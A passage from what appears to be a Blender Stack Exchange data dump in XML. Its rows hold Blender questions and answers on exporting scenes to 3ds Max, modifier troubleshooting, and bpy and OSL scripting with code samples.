&lt;em&gt;Texture&lt;/em&gt; tab are dependent on the active object. The &lt;em&gt;Texture&lt;/em&gt; tab, similar to the grease Pencil, can hold settings for more than just the active object.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ixQ54.png&quot; alt=&quot;properties window&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2016-11-15T12:58:32.627" LastActivityDate="2016-11-15T12:58:32.627" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24527" PostTypeId="2" ParentId="24481" CreationDate="2015-02-10T05:01:50.880" Score="9" Body="&lt;p&gt;As of &lt;strong&gt;Blender 2.8x&lt;/strong&gt; you can export your entire scene using &lt;a href=&quot;https://en.wikipedia.org/wiki/.3ds&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Alembic&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/FBX&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;USD&lt;/strong&gt;&lt;/a&gt; &lt;em&gt;(Autodesk is working on adding USD support)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XYzZz.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XYzZz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;em&gt;Layout in Blender&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N4HWP.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N4HWP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;em&gt;Alembic file imported into 3ds Max 2019&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/.3ds&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;3ds&lt;/strong&gt;&lt;/a&gt; is a &lt;em&gt;deprecated file format&lt;/em&gt;. For &lt;strong&gt;Blender 2.7x&lt;/strong&gt; export your scene to &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/FBX&quot; rel=&quot;nofollow noreferrer&quot;&gt;FBX&lt;/a&gt; 6.1 ASCII&lt;/strong&gt;, this should work immediately. In some cases you have to adjust the settings because it also depends on your &lt;em&gt;3ds Max&lt;/em&gt; version and the version of the &lt;em&gt;fbx plugin&lt;/em&gt; installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9btrH.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;Suzanne in Blender 2.73a&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5zj8e.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;Suzanne in 3ds Max 2012&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Other options&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/COLLADA&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Collada&lt;/strong&gt; (.dae)&lt;/a&gt; - For instructions, see: &lt;a href=&quot;https://blender.stackexchange.com/a/23071&quot;&gt;How to export a motion tracked camera to 3ds Max?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Wavefront_.obj_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Wavefront&lt;/strong&gt; (.obj)&lt;/a&gt; - For exporting multiple obj files, see &lt;a href=&quot;https://blender.stackexchange.com/questions/5382/export-multiple-objects-to-obj/31852#31852&quot;&gt;Export multiple objects to .obj&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2020-03-06T19:45:15.997" LastActivityDate="2020-03-06T19:45:15.997" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24528" PostTypeId="1" AcceptedAnswerId="24533" CreationDate="2015-02-10T06:57:42.587" Score="6" ViewCount="2250" Body="&lt;p&gt;I am trying to wrap one mesh around/against another, First I wrap it around with &quot;simple deform&quot; modifier, then shrinkwrap it; however, the Shrinkwrap deforms the mesh. How can I wrap it, without it being deformed?&#xA;[edit] .blend &lt;a href=&quot;http://www.pasteall.org/blend/34302&quot;&gt;http://www.pasteall.org/blend/34302&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GrXfo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HwQnD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BH1Cr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6079" LastEditorUserId="6079" LastEditDate="2015-02-10T09:11:23.853" LastActivityDate="2015-02-10T20:04:47.637" Title="shrinkwrap deforms mesh" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24529" PostTypeId="1" CreationDate="2015-02-10T08:04:47.363" Score="2" ViewCount="434" Body="&lt;p&gt;I'm writing a script to &lt;strong&gt;overcome some of Cycles' limitations&lt;/strong&gt; in terms of performance, namely the loading time, which is very long in the case of heavy scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a &lt;strong&gt;modal operator&lt;/strong&gt; which, at the moment, creates a timer, toggles the current space fullscreen, and &lt;strong&gt;takes a screenshot at fixed intervals&lt;/strong&gt;; since the &lt;strong&gt;viewport rendering&lt;/strong&gt; does not reload the scene at each frame, part of the BVH building time, shaders update and device loading are done only once. I will of course use the real rendering for the final render, but this may prove useful for quickly rendering &lt;strong&gt;previews of a WIP&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like is to &lt;strong&gt;check for some values in the viewport&lt;/strong&gt;, eg. &lt;strong&gt;samples rendered, rendering state&lt;/strong&gt; (updating mesh, loading BVH, path tracing, etc.), in the same way as it is displayed at the top of the 3D View. This way I can check the current state and take the screenshot and set the next frame accordingly (eg. (pseudo-code) &lt;code&gt;if samples_rendered &amp;gt; threshold: take_screenshot() and set_frame(current_frame+1)&lt;/code&gt;. This wouldn't rely on an arbitrary timer, which doesn't account for the initial loading time, nor the time variations in rendering the frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to &lt;strong&gt;access this information in Python&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2015-02-10T08:04:47.363" Title="Viewport render info from Python" Tags="&lt;rendering&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24530" PostTypeId="1" CreationDate="2015-02-10T08:14:26.293" Score="0" ViewCount="165" Body="&lt;p&gt;I'm working on a large city model, the .obj file is 45MB, when i export it in .kn5 format (for a videogame) the file is about 900MB heavy and everything is fine. But when a add some grass (for a total of 2-3MB) and a couple of big planes (10mb) the .kn5 exported is suddenly 3.75GB heavy and when i remove those 2 things that i added, the size of the exported file goes down to 3.6GB.&#xA;The difference is exactly the size of the things that i added (then removed) wich doesn't make any sense to me because now I have 2 identical .kn5 maps but one is 900mb while the other one is 3.6gb, and everytime i export that file (after adding and removing those 2 things) it will always be 3.6GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know why?&lt;/p&gt;&#xA;" OwnerUserId="11514" LastEditorUserId="241" LastEditDate="2015-02-10T11:35:58.593" LastActivityDate="2015-02-10T11:35:58.593" Title="File becomes exponentially bigger after adding 2 objects and remains that big after removing them" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24531" PostTypeId="2" ParentId="24476" CreationDate="2015-02-10T09:25:53.917" Score="5" Body="&lt;p&gt;As others have pointed out the issue is from the triangulated points on a uv sphere. You only see the issue if you have the triangulated part at the front of the eye, if you rotate the sphere 90 degrees it won't be visible, because that section will be hidden behind the eyelid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use a polyshere, which is a sphere made of square polygons. You can make one by adding a subsurf of level 3 to a cube and applying the modifier. You will also want to use To Sphere in edit mode to get it 'rounder' with &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt; &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pfphr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or a simpler way is to enable the Extra Objects addon and you will find a polyshere in your add mesh menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nIqHW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2015-02-11T01:08:23.837" LastActivityDate="2015-02-11T01:08:23.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24532" PostTypeId="2" ParentId="24514" CreationDate="2015-02-10T10:16:56.213" Score="1" Body="&lt;p&gt;Your custom &lt;code&gt;__setattr__&lt;/code&gt; method is called if you add or change a collection item via Python (e.g. &lt;em&gt;Python Console&lt;/em&gt;). It is not called if you change an entry via the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is probably that bpy properties are no regular python objects / properties. If you access it directly via Python, it is handled like a regular Python object. The UI however is handled in Blender's native C code (so are change events in Blender in general), and it obviously disregards custom &lt;code&gt;__setattr__&lt;/code&gt; handlers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proper way to check for property changes is to supply a callback function to the &lt;code&gt;update&lt;/code&gt; attribute on property registration, or specify a getter and a setter function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import *&#xA;&#xA;def update_cb(self, context):&#xA;    print(&quot;image =&quot;, self.image)&#xA;&#xA;class RenderGroups(bpy.types.PropertyGroup):&#xA;    image = StringProperty(&#xA;            name=&quot;Image&quot;,&#xA;            description=&quot;The image-texture of this group&quot;,&#xA;            update=update_cb)&#xA;&#xA;&#xA;class RenderGroupUIList(bpy.types.UIList):&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname):&#xA;        if self.layout_type in {'DEFAULT', 'COMPACT'}:&#xA;            row = layout.row()&#xA;            if not item:&#xA;                row.label(text=&quot;&quot;, translate=False, icon_value=icon)&#xA;                return&#xA;            row.prop(item, &quot;name&quot;, text=&quot;&quot;, emboss=False, icon_value=icon)&#xA;            row.prop(item, &quot;image&quot;, text=&quot;&quot;, emboss=False)&#xA;            if item.image not in bpy.data.images:&#xA;                row.label(icon=&quot;ERROR&quot;)&#xA;        # 'GRID' layout type should be as compact as possible (typically a single icon!).&#xA;        elif self.layout_type in {'GRID'}:&#xA;            layout.alignment = 'CENTER'&#xA;            layout.label(text=&quot;&quot;, icon_value=icon)&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.template_list(&quot;RenderGroupUIList&quot;, &quot;&quot;, context.object, &quot;coll&quot;, context.object, &quot;idx&quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Object.coll = bpy.props.CollectionProperty(type=bpy.types.RenderGroups)&#xA;    bpy.types.Object.idx = bpy.props.IntProperty()&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Object.coll&#xA;    del bpy.types.Object.idx&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be careful with writes to the property inside a callback, there is no protection against infinite loops - you need to handle that yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.props.html#get-set-example&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_73_release/bpy.props.html#get-set-example&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-02-10T10:16:56.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24533" PostTypeId="2" ParentId="24528" CreationDate="2015-02-10T10:21:00.333" Score="9" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;first use the simple mesh  &quot;before applying the solidify modifier &quot; because it will be flattened when you apply the shrinkwrap&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;add the &lt;strong&gt;shrinkwrap&lt;/strong&gt; modifier with these settings&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g08HX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the target and hit  &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; and apply object transform&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tIuI7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-10T10:21:00.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24534" PostTypeId="2" ParentId="24444" CreationDate="2015-02-10T10:41:56.500" Score="2" Body="&lt;p&gt;Hair dynamics can use edited particules, something is stopping the normal process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you edited the particles, you're probably in particle edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3i4lV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This mode allows you to edit your particles but does not allow simulation&#xA;Go to object mode to start your sim.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MCSkl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your simulation should be playing correctly with edited particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvGuC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-10T10:41:56.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24535" PostTypeId="2" ParentId="24518" CreationDate="2015-02-10T10:49:57.193" Score="4" Body="&lt;p&gt;You can retrieve the required matrix from the &lt;code&gt;view_matrix&lt;/code&gt; attribute of the 3D View space. It needs to be transposed and values in the 4th row and column be reset. Finally, you may set the translation components to the cursor location to get the behavior in line with the standard mesh add operators:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.mode == 'OBJECT' and context.area.type == 'VIEW_3D'&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        scene = context.scene&#xA;&#xA;        bm = bmesh.new()&#xA;        bmesh.ops.create_cube(bm)&#xA;&#xA;        me = bpy.data.meshes.new(&quot;Cube&quot;)&#xA;        bm.to_mesh(me)&#xA;&#xA;        ob = bpy.data.objects.new(&quot;Cube&quot;, me)&#xA;        mat = context.space_data.region_3d.view_matrix.transposed().to_3x3().to_4x4()&#xA;        mat.translation = scene.cursor_location&#xA;        ob.matrix_world = mat&#xA;&#xA;        scene.objects.link(ob)&#xA;        scene.update()&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    for area in bpy.context.screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            ctx = bpy.context.copy()&#xA;            ctx[&quot;area&quot;] = area&#xA;            ctx[&quot;region&quot;] = area.regions[-1]&#xA;            ctx[&quot;space_data&quot;] = area.spaces.active&#xA;            bpy.ops.object.simple_operator(ctx)&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-02-10T10:49:57.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24536" PostTypeId="2" ParentId="24525" CreationDate="2015-02-10T11:30:18.837" Score="3" Body="&lt;p&gt;From the &lt;a href=&quot;https://github.com/imageworks/OpenShadingLanguage/blob/master/src/doc/osl-languagespec.pdf&quot; rel=&quot;nofollow&quot;&gt;osl language specification&lt;/a&gt; under Global Variables -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;point P&lt;/strong&gt; - Position of the point you are shading. In a displacement shader,&#xA;  changing this variable displaces the surface.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;float u, v&lt;/strong&gt; - The 2D parametric coordinates of P (on the particular geometric&#xA;  primitive you are shading).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While you don't technically alter these values, you start with them and calculate an offset position that is then used to choose the output. &lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-10T11:30:18.837" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24537" PostTypeId="2" ParentId="24518" CreationDate="2015-02-10T11:53:49.157" Score="3" Body="&lt;p&gt;While you can use the &lt;code&gt;view_matrix&lt;/code&gt; to alter the orientation of your model, I would say &lt;strong&gt;don't&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has a user preference for aligning new objects to view or global orientation. You should honour the users choice and not make your addon act 'weird' to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After &lt;code&gt;mesh.from_pydata()&lt;/code&gt; make a call to &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_5/bpy_extras.object_utils.html?highlight=object_data_add#bpy_extras.object_utils.object_data_add&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;object_data_add()&lt;/code&gt;&lt;/a&gt; which will&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Add an object using the view context and preference to to initialize the location, rotation and layer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-10T11:53:49.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24538" PostTypeId="2" ParentId="24522" CreationDate="2015-02-10T12:09:07.487" Score="1" Body="&lt;p&gt;No, but you do have recently opened files listed in File-&gt;Open Recent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/Edit_Linked_Library&quot; rel=&quot;nofollow&quot;&gt;Edit Linked Library&lt;/a&gt; addon that adds buttons to switch back and forth between linked mesh object files, but at this stage it doesn't support VSE strips. You may want to make a suggestion to the author or use it to make a similar addon for the VSE.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-10T12:09:07.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24539" PostTypeId="1" AcceptedAnswerId="24540" CreationDate="2015-02-10T12:12:42.827" Score="1" ViewCount="1266" Body="&lt;ol&gt;&#xA;&lt;li&gt;I have joined a mirrored object to another mirrored object (head and body, creating neck to join them) (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;) and I am trying to connect them by creating vertices (tried extruding/merging or pressing f to just fill). I have selected one vertices from each object to create edge then with four of those I can create a face. But when I try the face or edge is created on the other side of the mirror not on the same side any solutions without removing the mirror. (shown below)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dCvcJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;I would like to move parts of the mesh around from where I selected, but when I try to move it it is controlled from the left side and only the left side (the original mesh). I was able to do this before (move parts of the mesh from both sides) I don't know why I can't any more maybe from the update, any solutions? An example for more detail if I try to drag the right side out it inwards becuase I am moving it from the left side not the right side that I selected&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7822" LastEditorUserId="241" LastEditDate="2015-02-10T13:34:22.130" LastActivityDate="2015-02-10T13:34:22.130" Title="Problem with object made from joining objects that both had mirror modifiers" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24540" PostTypeId="2" ParentId="24539" CreationDate="2015-02-10T12:43:49.937" Score="2" Body="&lt;p&gt;You merged objects mirrored but not moddeled on the same side. You can see that by deactivating the visibility of the modified topo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Za4Oe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to fix that, apply the mirror (in object mode, not edit)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AYM4s.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In front ortho view (NumPad&lt;kbd&gt;1&lt;/kbd&gt; front view, NumPad&lt;kbd&gt;5&lt;/kbd&gt; to switch perspective/ortho view) Box select &lt;kbd&gt;B&lt;/kbd&gt; one side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fZu3v.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete selected vertices with &lt;kbd&gt;X&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iTVvf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add the mirror modifier that should work correctly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FKMZs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-10T12:55:27.370" LastActivityDate="2015-02-10T12:55:27.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24541" PostTypeId="2" ParentId="24539" CreationDate="2015-02-10T12:45:59.273" Score="2" Body="&lt;p&gt;disable the Mirror in edit mode to see the original verticies :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5MNdk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the two part are not on the same side and that wat cosed the crossed faces&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the top part &lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;M&lt;/kbd&gt; and mirror along X-axis &lt;/li&gt;&#xA;&lt;li&gt;move the mesh to the right position&lt;/li&gt;&#xA;&lt;li&gt;now you can bridge them&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RHJMD.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-10T12:45:59.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24542" PostTypeId="2" ParentId="24525" CreationDate="2015-02-10T14:38:34.557" Score="1" Body="&lt;p&gt;if you can get the texture coordinate from another node &quot; since getattribute is not woring &quot; what is lef is a simple vector manupilation &#xA;here is simple osl code for shift and scale :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdosl.h&quot;&#xA;&#xA;    shader texture_mapping(&#xA;        float x_shift = 0,&#xA;        float y_shift = 0,&#xA;        float y_scale = 0,&#xA;        float x_scale = 0,&#xA;        point UV_In = point(0.0, 0.0, 0.0),&#xA;        output point UV_Out = point(0.0, 0.0, 0.0))&#xA;    {&#xA;&#xA;        UV_Out = point((UV_In[0]+x_shift)*x_scale, (UV_In[1]+y_shift)*y_scale, UV_In[2]);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-10T15:09:46.587" LastActivityDate="2015-02-10T15:09:46.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24543" PostTypeId="1" AcceptedAnswerId="24550" CreationDate="2015-02-10T15:06:11.517" Score="6" ViewCount="673" Body="&lt;p&gt;I'm trying to get the UV coordinates of from UVMap using &lt;code&gt;getattribute()&lt;/code&gt; as follows :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdosl.h&quot;&#xA;&#xA;shader node_uv_map(&#xA;    string name = &quot;&quot;,&#xA;    output point UV = point(0.0, 0.0, 0.0),&#xA;)&#xA;{&#xA;    if (name == &quot;&quot;)&#xA;        getattribute(&quot;geom:uv&quot;, UV);&#xA;    else&#xA;        getattribute(name, UV);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with the &lt;code&gt;name&lt;/code&gt; empty or containing the UVmap name there is no output &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how to perform that correctly&lt;/li&gt;&#xA;&lt;li&gt;is there another way to get the uvmap coordinates in osl&lt;/li&gt;&#xA;&lt;li&gt;what are othor attribute that can be retrieved using &lt;code&gt;getattribute&lt;/code&gt; beside &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/OSL#Attributes&quot;&gt;these&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Blender 2.7b&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-10T15:21:15.803" LastActivityDate="2015-02-10T17:54:37.060" Title="getattribute() in osl is not working" Tags="&lt;scripting&gt;&lt;uv&gt;&lt;shaders&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24546" PostTypeId="1" AcceptedAnswerId="24551" CreationDate="2015-02-10T16:24:16.837" Score="7" ViewCount="2955" Body="&lt;p&gt;I'm trying to reach a render like the one on the image below. It's a prism as you can see, and I already made the elements, but the reflections aren't the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it's the material, but I do not know. I already tried changing the object's position and lighting, but it didn't help. So I think it could be the material&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/q4JsI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q4JsI.png&quot; alt=&quot;blender with prism object&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-02-10T21:20:02.733" LastActivityDate="2015-02-10T21:20:02.733" Title="How can I add more reflections to my glass material?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
